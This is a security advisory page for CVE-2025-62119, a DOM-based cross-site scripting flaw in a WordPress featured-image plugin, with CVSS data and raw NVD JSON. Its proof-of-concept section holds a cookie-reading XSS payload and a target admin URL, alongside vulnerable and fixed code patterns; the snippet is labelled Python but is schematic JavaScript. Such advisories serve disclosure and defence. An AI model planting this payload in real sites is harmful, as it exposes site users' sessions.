Security Vulnerability Report
中文
CVE-2025-62119 CVSS 5.9 MEDIUM

CVE-2025-62119

Published: 2025-12-31 14:15:53
Last Modified: 2026-04-23 15:34:35

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ViitorCloud Technologies Pvt Ltd Add Featured Image Custom Link custom-url-to-featured-image allows DOM-Based XSS.This issue affects Add Featured Image Custom Link: from n/a through <= 2.0.0.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Add Featured Image Custom Link <= 2.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62119 DOM-based XSS PoC // Target: WordPress Add Featured Image Custom Link Plugin <= 2.0.0 // Malicious URL payload that triggers XSS const maliciousPayload = '<img src=x onerror=alert(document.cookie)>'; // Step 1: Craft the attack URL with the malicious payload in the custom URL field // This would be injected through the plugin's settings interface const attackUrl = 'https://target-site.com/wp-admin/admin.php?page=custom-url-to-featured-image'; // Step 2: The plugin stores the payload without sanitization // Payload is stored in WordPress options table // Step 3: When a post with featured image is viewed, the XSS executes // The following demonstrates the vulnerable code pattern: // Vulnerable code (what the plugin does): function vulnerableCode() { const customUrl = getOption('custom_featured_image_url'); // Directly inserting into DOM without sanitization document.querySelector('.featured-image-link').innerHTML = '<a href="' + customUrl + '"><img src="..."></a>'; } // Safe code (what should be done): function safeCode() { const customUrl = getOption('custom_featured_image_url'); // Properly encode output const safeUrl = encodeHTML(customUrl); document.querySelector('.featured-image-link').innerHTML = '<a href="' + safeUrl + '"><img src="..."></a>'; } // Helper function to encode HTML entities function encodeHTML(str) { return str.replace(/[&<>"']/g, function(match) { const entities = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' }; return entities[match]; }); } console.log('PoC for CVE-2025-62119: DOM-based XSS in Add Featured Image Custom Link');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62119", "sourceIdentifier": "[email protected]", "published": "2025-12-31T14:15:52.527", "lastModified": "2026-04-23T15:34:34.633", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ViitorCloud Technologies Pvt Ltd Add Featured Image Custom Link custom-url-to-featured-image allows DOM-Based XSS.This issue affects Add Featured Image Custom Link: from n/a through <= 2.0.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en ViitorCloud Technologies Pvt Ltd Add Featured Image Custom Link permite XSS basado en DOM. Este problema afecta a Add Featured Image Custom Link: desde n/a hasta 2.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-url-to-featured-image/vulnerability/wordpress-add-featured-image-custom-link-plugin-2-0-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}